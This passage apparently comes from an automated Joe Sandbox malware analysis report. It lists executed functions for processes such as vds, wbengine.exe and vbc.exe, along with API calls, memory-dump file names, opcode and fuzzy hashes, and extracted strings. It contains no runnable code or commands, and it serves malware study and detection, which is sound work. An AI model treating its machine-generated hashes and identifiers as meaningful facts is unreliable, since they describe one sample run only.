Instruction ID: ec068ce22cfa21bce38de050bb5f932b5818358cad611dedae57f049abad7fd5
Opcode Fuzzy Hash: be85cc28eff309c6b04ec446b1d1922c7f56a33d23bc4027ac3bc4e0d37bd274
Instruction Fuzzy Hash: E641C5A180DE958FD736432448A42747BE0DB113E2F9EC5D6D4FF8A1F6E2D84C81936A

Function 00B90080 Relevance: 5.0, APIs: 3, Instructions: 466
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameW.KERNEL32 ref: 00B903E0

Memory Dump Source

Source File: 00000021.00000002.2624588607.0000000000B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_b70000_vds.jbxd

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: f2c426ce008c29bb37f5d3562478f99eada15862b80321597c233d777d3b9804
Instruction ID: 2d91b10aa35703d2cac745044183ead5c0a82ce2fe72fe3cc192b67e27df37d5
Opcode Fuzzy Hash: f2c426ce008c29bb37f5d3562478f99eada15862b80321597c233d777d3b9804
Instruction Fuzzy Hash: 07D1063152CB0D8FCB28FF58D8857EAB7E1FBA0310F5846AED846C3265DA74964586C2

Function 00B78070 Relevance: 4.7, APIs: 3, Instructions: 236
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000021.00000002.2624588607.0000000000B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_b70000_vds.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bfa7abbba837048b5084d14a6e3f10e10a947a6e49ec2fa660cf16e8a7df21b7
Instruction ID: 5930bc568993b4a95766668fff78e6b9a5c1642cea6e08f120931f75834597c0
Opcode Fuzzy Hash: bfa7abbba837048b5084d14a6e3f10e10a947a6e49ec2fa660cf16e8a7df21b7
Instruction Fuzzy Hash: B361463068CA459FC7658B28889C3357BE0FB59360F98C6DAE47FD39A1DF244C459352

Function 00B75910 Relevance: 1.9, APIs: 1, Instructions: 607
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000021.00000002.2624588607.0000000000B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_b70000_vds.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61e7e04614083fc9a4d415ed1ed9d586c41edeef07ca5b9990f411115d9a6df2
Instruction ID: 3207053290701fbf9526482282ff434f60ff4b6a68a555dad520864c74726c4d
Opcode Fuzzy Hash: 61e7e04614083fc9a4d415ed1ed9d586c41edeef07ca5b9990f411115d9a6df2
Instruction Fuzzy Hash: 51F1193171CE488FCBA9A72C58813B977D1EB99310F5885FEE05EC3296DD649C06D382

Function 00B75B42 Relevance: 1.6, APIs: 1, Instructions: 92
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000021.00000002.2624588607.0000000000B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_b70000_vds.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ff8010c23fac40248132f603dcb160a69be8753e27de13806aa853a5623418f
Instruction ID: 1eb005069438cc16bbb49d397f06436c86356e7e256c01735db068c38d64b78d
Opcode Fuzzy Hash: 2ff8010c23fac40248132f603dcb160a69be8753e27de13806aa853a5623418f
Instruction Fuzzy Hash: 2D219F2020CF458FDB7B9B388888B7466D1EB54310F68C5E6847FCF2A2DAE48C449755

Function 00B75B09 Relevance: 1.6, APIs: 1, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000021.00000002.2624588607.0000000000B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_b70000_vds.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 355f5de826a502d2b078035f50b0d1b19bc6bd6d86d359f9387c1ff3fa9cfd06
Instruction ID: 584625b6a4da65aa77c361d93e6e842fda1500d9725b34882bf97d46de642cc0
Opcode Fuzzy Hash: 355f5de826a502d2b078035f50b0d1b19bc6bd6d86d359f9387c1ff3fa9cfd06
Instruction Fuzzy Hash: C801D23050DF468FEB765A348D987797BD0EB14324F2481EB88BFCA191EEE44901A752

Function 00B75B87 Relevance: 1.5, APIs: 1, Instructions: 23
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE ref: 00B75B90
CreateThread.KERNELBASE ref: 00B75CDF

Memory Dump Source

Source File: 00000021.00000002.2624588607.0000000000B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_b70000_vds.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: a986bd5c00f5553bdb8598d00602888b78738e64b994e3da4fa4453f2922062f
Instruction ID: be0951479a81d0ba9becdcd651e1a9ab4f05d961e865e3bab411bf4645999281
Opcode Fuzzy Hash: a986bd5c00f5553bdb8598d00602888b78738e64b994e3da4fa4453f2922062f
Instruction Fuzzy Hash: 51E0863060DB448FDB6A9F245D503293AE5EB88310F1541DEC45ED72D1DFA919064786

Function 00B7599B Relevance: 1.3, APIs: 1, Instructions: 48
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcscpy.LIBCMT ref: 00B759D9

Memory Dump Source

Source File: 00000021.00000002.2624588607.0000000000B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_b70000_vds.jbxd

Similarity

API ID: wcscpy
String ID:
API String ID: 1284135714-0
Opcode ID: 51412a402b8cd50030cf07c80cfd4b00c1a38cf92c70ea7e66de183ec09a8362
Instruction ID: 7bcdab300da469182f06ed70b3f72e17a2fc1182f3ce63ba0b938adf785ce788
Opcode Fuzzy Hash: 51412a402b8cd50030cf07c80cfd4b00c1a38cf92c70ea7e66de183ec09a8362
Instruction Fuzzy Hash: 8A01D67091DF84CFD6769B18448127976E1FB94320F28C5EA92AEC7192C9E44D00A342

Function 00B78090 Relevance: 1.3, APIs: 1, Instructions: 14
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 00B78186

Memory Dump Source

Source File: 00000021.00000002.2624588607.0000000000B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_b70000_vds.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 618394ff9deb9f6b5e010b5aaee4db8be701b981e1d63e6b3fb36a727850c086
Instruction ID: ca6242b5f98d80d8dc15360a26377ca9d8f2d775a86425cf0d59cb0fb8460d07
Opcode Fuzzy Hash: 618394ff9deb9f6b5e010b5aaee4db8be701b981e1d63e6b3fb36a727850c086
Instruction Fuzzy Hash: 7BC08C719E89029A523A028C2C2F0F026C0C20E370FCCC0C68C3EF0E20DD248E039097

Function 00B7817F Relevance: 1.3, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 00B78186

Memory Dump Source

Source File: 00000021.00000002.2624588607.0000000000B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_b70000_vds.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: a0153765961d18982154f5649a6418830ea2767f573826a199b39b51e69f8ae7
Instruction ID: 8587d28e17772083880ce630c401665a1d5c6db9ca240ad8216af06f1a6b2798
Opcode Fuzzy Hash: a0153765961d18982154f5649a6418830ea2767f573826a199b39b51e69f8ae7
Instruction Fuzzy Hash: D0C048A59D860986513A268C2C1E0A225D0861A770F8CC492AC3EBAA62D9684D4291A2

Analysis Process: wbengine.exePID: 2840, Parent PID: 624COMMON

Executed Functions

Function 00AF52A0 Relevance: 1.6, APIs: 1, Instructions: 137
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDefaultLangID.KERNELBASE ref: 00AF53C4

Memory Dump Source

Source File: 00000023.00000002.2624154980.0000000000AF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_af0000_wbengine.jbxd

Similarity

API ID: DefaultLangSystem
String ID:
API String ID: 706401283-0
Opcode ID: be85cc28eff309c6b04ec446b1d1922c7f56a33d23bc4027ac3bc4e0d37bd274
Instruction ID: 832e427a07b7a200081a4c049776ca41ae49bbad3f516b12abd95581fde53232
Opcode Fuzzy Hash: be85cc28eff309c6b04ec446b1d1922c7f56a33d23bc4027ac3bc4e0d37bd274
Instruction Fuzzy Hash: 5E41D361D0DE9D8FD72A43F944742B47BE1AB123E6F9D02D6F7828F0E2D1984C819726

Function 00B10080 Relevance: 5.0, APIs: 3, Instructions: 466
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameW.KERNEL32 ref: 00B103E0

Memory Dump Source

Source File: 00000023.00000002.2624154980.0000000000AF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_af0000_wbengine.jbxd

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: f2c426ce008c29bb37f5d3562478f99eada15862b80321597c233d777d3b9804
Instruction ID: 441d4db06a8da177fd8c242ffdd47ac298c2924ab895320c65ac886c6804de01
Opcode Fuzzy Hash: f2c426ce008c29bb37f5d3562478f99eada15862b80321597c233d777d3b9804
Instruction Fuzzy Hash: DFD11631428B0D8BC724FF58D8857EAB7E1FBA4310F98469FE846C7164DAB496C586C2

Function 00AF8070 Relevance: 4.7, APIs: 3, Instructions: 236
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000023.00000002.2624154980.0000000000AF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_af0000_wbengine.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bfa7abbba837048b5084d14a6e3f10e10a947a6e49ec2fa660cf16e8a7df21b7
Instruction ID: 4302a882a7498e268821ff00b8d004031a4bb63b379a53230e5ce71ed373f2c7
Opcode Fuzzy Hash: bfa7abbba837048b5084d14a6e3f10e10a947a6e49ec2fa660cf16e8a7df21b7
Instruction Fuzzy Hash: DE61313060CA4D9FC7658BE8881427A7BB0FB55350FA8035AF35AC71A0DF3CAC499356

Function 00AF5910 Relevance: 1.9, APIs: 1, Instructions: 607
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000023.00000002.2624154980.0000000000AF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_af0000_wbengine.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61e7e04614083fc9a4d415ed1ed9d586c41edeef07ca5b9990f411115d9a6df2
Instruction ID: 0ce013dd0779991b5a9cb183f368e13f282b7d9bf3265130926d065048f0899e
Opcode Fuzzy Hash: 61e7e04614083fc9a4d415ed1ed9d586c41edeef07ca5b9990f411115d9a6df2
Instruction Fuzzy Hash: 7AF11930B1CE4C8FC669A76C58953F977D2EB99310F9845DEE14BC3296DD289C86C382

Function 00AF5B42 Relevance: 1.6, APIs: 1, Instructions: 92
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000023.00000002.2624154980.0000000000AF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_af0000_wbengine.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ff8010c23fac40248132f603dcb160a69be8753e27de13806aa853a5623418f
Instruction ID: 0ea1b1d3666e5d3962ef83757e63ab52d24b1d9a5434bee42b9a8a07eec59723
Opcode Fuzzy Hash: 2ff8010c23fac40248132f603dcb160a69be8753e27de13806aa853a5623418f
Instruction Fuzzy Hash: A621E030E0DF4D8FCB699BF884487742BF1AB55310F6901A6B347CF2A2DA24CC869356

Function 00AF5B09 Relevance: 1.6, APIs: 1, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000023.00000002.2624154980.0000000000AF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_af0000_wbengine.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 355f5de826a502d2b078035f50b0d1b19bc6bd6d86d359f9387c1ff3fa9cfd06
Instruction ID: 950dbc865154bff8231ed1eda9c072857f01271fa159ad2ec6205f7568985991
Opcode Fuzzy Hash: 355f5de826a502d2b078035f50b0d1b19bc6bd6d86d359f9387c1ff3fa9cfd06
Instruction Fuzzy Hash: 7A019630D0EF4E8FDB6597F48C1437577E0AB50324F25019BF787CA095EA644902A752

Function 00AF5B87 Relevance: 1.5, APIs: 1, Instructions: 23
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE ref: 00AF5B90
CreateThread.KERNELBASE ref: 00AF5CDF

Memory Dump Source

Source File: 00000023.00000002.2624154980.0000000000AF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_af0000_wbengine.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: a986bd5c00f5553bdb8598d00602888b78738e64b994e3da4fa4453f2922062f
Instruction ID: bc81f6a44b8d6bd1e36021e0f6cbd9ba13e2d345395d5a5f7ea2109490dd713b
Opcode Fuzzy Hash: a986bd5c00f5553bdb8598d00602888b78738e64b994e3da4fa4453f2922062f
Instruction Fuzzy Hash: 81E08630A0DF4C4FDB599B7498103393AE5FB88314F1501CED64AD71D1EF6909064792

Function 00AF599B Relevance: 1.3, APIs: 1, Instructions: 48
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcscpy.LIBCMT ref: 00AF59D9

Memory Dump Source

Source File: 00000023.00000002.2624154980.0000000000AF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_af0000_wbengine.jbxd

Similarity

API ID: wcscpy
String ID:
API String ID: 1284135714-0
Opcode ID: 51412a402b8cd50030cf07c80cfd4b00c1a38cf92c70ea7e66de183ec09a8362
Instruction ID: e8ec47810cc1d9345c5b4f160e46f6ec77c4e807e78d5e972b9b8e9b359d5a0f
Opcode Fuzzy Hash: 51412a402b8cd50030cf07c80cfd4b00c1a38cf92c70ea7e66de183ec09a8362
Instruction Fuzzy Hash: C601D670E1DE9CCFD61EA7F854C927969A1BB94360F68059BB38EC7092D9A44D00DB41

Function 00AF8090 Relevance: 1.3, APIs: 1, Instructions: 14
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 00AF8186

Memory Dump Source

Source File: 00000023.00000002.2624154980.0000000000AF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_af0000_wbengine.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 618394ff9deb9f6b5e010b5aaee4db8be701b981e1d63e6b3fb36a727850c086
Instruction ID: 316aa7c0016b23a6cc6b9bbb7f50e317cbf25473d3819bcfff1fcd0cf612d890
Opcode Fuzzy Hash: 618394ff9deb9f6b5e010b5aaee4db8be701b981e1d63e6b3fb36a727850c086
Instruction Fuzzy Hash: B0C08C70128C0EA7533803C80C0B0B0A6248202B90B0C0306FE06C0230EE0C8E03009F

Function 00AF817F Relevance: 1.3, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 00AF8186

Memory Dump Source

Source File: 00000023.00000002.2624154980.0000000000AF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_af0000_wbengine.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: a0153765961d18982154f5649a6418830ea2767f573826a199b39b51e69f8ae7
Instruction ID: 8dcaae30b613d6a80f4d79af520d4b4670bafa5a90852e1e36fe3f391379409a
Opcode Fuzzy Hash: a0153765961d18982154f5649a6418830ea2767f573826a199b39b51e69f8ae7
Instruction Fuzzy Hash: 86C092B455890D97533827C82C0B4B2B5684613BA0F0C4712FF1A9A370EE5C4D4341AB

Analysis Process: vbc.exePID: 3628, Parent PID: 2648COMMON

Executed Functions

Function 004019F0 Relevance: 100.5, APIs: 10, Strings: 47, Instructions: 747
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OleInitialize.OLE32(00000000), ref: 004019FD
_getenv.LIBCMT ref: 00401ABA
CloseHandle.KERNEL32(00000000), ref: 00401DC4
_malloc.LIBCMT ref: 00401EBA
_memset.LIBCMT ref: 00401EDD

Strings

o, xrefs: 00402097
*, xrefs: 004020E1
E, xrefs: 00401E0F
v, xrefs: 0040206A
%, xrefs: 004020FA
*, xrefs: 00401A1F
!, xrefs: 004020CF
x, xrefs: 00401E69
W, xrefs: 00402033
D, xrefs: 00401DFB
[, xrefs: 00401B37
o, xrefs: 00401B8D
), xrefs: 0040202E
U, xrefs: 004020F5
V, xrefs: 00402038
{, xrefs: 00401E3C
o, xrefs: 00402159
4, xrefs: 00402074
6, xrefs: 004020C5
', xrefs: 00402006
., xrefs: 00401B0A
., xrefs: 0040201F
W, xrefs: 00401B14
W, xrefs: 004020E6
x, xrefs: 00401B78
8, xrefs: 00401BA9
4, xrefs: 00401B64
", xrefs: 00401B0F
!, xrefs: 0040201A
V, xrefs: 00401E19
x, xrefs: 00402088
[, xrefs: 00402047
{, xrefs: 0040205B
0, xrefs: 00401BBD
!, xrefs: 00401B1E
v, xrefs: 0040212C
v, xrefs: 00401B5A
v, xrefs: 00401E4B
W, xrefs: 00401B23
', xrefs: 00401AF6
:, xrefs: 00401B28
{, xrefs: 0040211D
x, xrefs: 0040214A
5, xrefs: 00402109
h, xrefs: 00401A6F
4, xrefs: 00402136
{, xrefs: 00401B4B

Memory Dump Source

Source File: 0000002A.00000002.2612727730.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000002A.00000002.2612727730.0000000000411000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000413000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000415000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000422000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.000000000043E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000440000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000442000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000444000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000446000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000448000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000459000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.000000000045B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.000000000045D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.000000000045F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000461000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.00000000004B7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.00000000004B9000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.00000000004BB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_400000_vbc.jbxd

Similarity

API ID: CloseHandleInitialize_getenv_malloc_memset
String ID: !$!$!$"$%$'$'$)$*$*$.$.$0$4$4$4$5$6$8$:$D$E$U$V$V$W$W$W$W$[$[$h$o$o$o$v$v$v$v$x$x$x$x${${${${
API String ID: 2812500916-3543104150
Opcode ID: d0a656ef22f929bc6f1ae9c8f6a3c9921df1d352ff09963eac3f83f05ace134f
Instruction ID: 7b7814addfdf4b3cbdaef5ede101091f5fb3e94df766619d88950efa0d528cfd
Opcode Fuzzy Hash: d0a656ef22f929bc6f1ae9c8f6a3c9921df1d352ff09963eac3f83f05ace134f
Instruction Fuzzy Hash: B3628C2100C7C19EC321DB388888A5FBFE55FA6328F484A5DF1E55B2E2C7799509C76B

Function 00D38550 Relevance: 20.0, APIs: 13, Instructions: 510COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00D37FD4

Memory Dump Source

Source File: 0000002A.00000002.2637837684.0000000000D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_d10000_vbc.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 4bf99b2000ace72936b72d77f6c937232e1dc6fdeaa520fa9892a52d394af213
Instruction ID: 6c671c0cc518218c71236e535eef93dc8ad6d6df43b153c7268b01f9ef2095ce
Opcode Fuzzy Hash: 4bf99b2000ace72936b72d77f6c937232e1dc6fdeaa520fa9892a52d394af213
Instruction Fuzzy Hash: 2BE157A590D7419ECB3A47289C097762BA06F72771F5C0796F4A2D61F2EDA48C08F237

Function 0040AF66 Relevance: 6.0, APIs: 4, Instructions: 34
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 0040AF80

Part of subcall function 0040B84D: __FF_MSGBANNER.LIBCMT ref: 0040B870
Part of subcall function 0040B84D: __NMSG_WRITE.LIBCMT ref: 0040B877
Part of subcall function 0040B84D: RtlAllocateHeap.NTDLL(00000000,?,00000001,?,?,?,0040D128,00000001,?,?,?,?,?,0040AF59,?), ref: 0040B8C4

std::bad_alloc::bad_alloc.LIBCMT ref: 0040AFA3

Part of subcall function 0040AEFC: std::exception::exception.LIBCMT ref: 0040AF08

std::bad_exception::bad_exception.LIBCMT ref: 0040AFB7
__CxxThrowException@8.LIBCMT ref: 0040AFC5

Memory Dump Source

Source File: 0000002A.00000002.2612727730.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000002A.00000002.2612727730.0000000000411000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000413000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000415000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000422000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.000000000043E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000440000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000442000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000444000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000446000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000448000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000459000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.000000000045B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.000000000045D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.000000000045F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000461000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.00000000004B7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.00000000004B9000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.00000000004BB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000002A.00000002.2612727730.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_400000_vbc.jbxd

Similarity

API ID: AllocateException@8HeapThrow_mallocstd::bad_alloc::bad_allocstd::bad_exception::bad_exceptionstd::exception::exception
String ID:
API String ID: 1411284514-0
Opcode ID: b345fa5dd82e9b4f5c74ef0e5f3feb58fb763bf4bd372753273fca7b37c13978
Instruction ID: 8b9ae61c6da4be1dff3a05d3864a1109474d1d20ea1a05e38be312cad591667e
Opcode Fuzzy Hash: b345fa5dd82e9b4f5c74ef0e5f3feb58fb763bf4bd372753273fca7b37c13978
Instruction Fuzzy Hash: 67F0BE21A0030662CA15BB61EC06D8E3B688F4031CB6000BFE811761D2CFBCEA55859E

Function 00D37DF0 Relevance: 4.6, APIs: 3, Instructions: 89
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameW.KERNEL32 ref: 00D37E0F

Memory Dump Source

Source File: 0000002A.00000002.2637837684.0000000000D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_d10000_vbc.jbxd

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: 30c8bedb3fdf1f77f525af28aebae08b3c563a708bc1f3cce617822420f570f3
Instruction ID: e018e2d24c5f3d90b4c21939127abba28d8120d0513b723b0ff8cf5b62d98184
Opcode Fuzzy Hash: 30c8bedb3fdf1f77f525af28aebae08b3c563a708bc1f3cce617822420f570f3
Instruction Fuzzy Hash: CB2137F4A4DB44FFDA355718BC06BB93A746F62B10F8C448AF8C8561D2D5A86C08D277

Function 00D15A3B Relevance: 3.1, APIs: 2, Instructions: 51
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNEL32(00000000,00000000,00D155C0,?,00000000,00000000), ref: 00D15A51
RtlExitUserThread.NTDLL(00000000), ref: 00D15B11

Memory Dump Source

Source File: 0000002A.00000002.2637837684.0000000000D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_d10000_vbc.jbxd

Similarity

API ID: Thread$CreateExitUser
String ID:
API String ID: 4108186749-0
Opcode ID: 5bf56e9ae101de6de6f23c76d907f5a9a7472b8b9d6eef196e720cb5d7295516
Instruction ID: d61f43656f190db87e58a1fe8939de48a95d584e51febcd8c24b4cbe8f4af90a
Opcode Fuzzy Hash: 5bf56e9ae101de6de6f23c76d907f5a9a7472b8b9d6eef196e720cb5d7295516
Instruction Fuzzy Hash: E511FB1150DBC2EED7138B6878253A6BFA05FA2720F5D06CAD0D14E1DACA5D498C97B3

Function 00D15D20 Relevance: 2.5, APIs: 2, Instructions: 38
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualFree.KERNELBASE(?,00000000,00008000), ref: 00D15D6D

Memory Dump Source

Source File: 0000002A.00000002.2637837684.0000000000D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_d10000_vbc.jbxd

Similarity

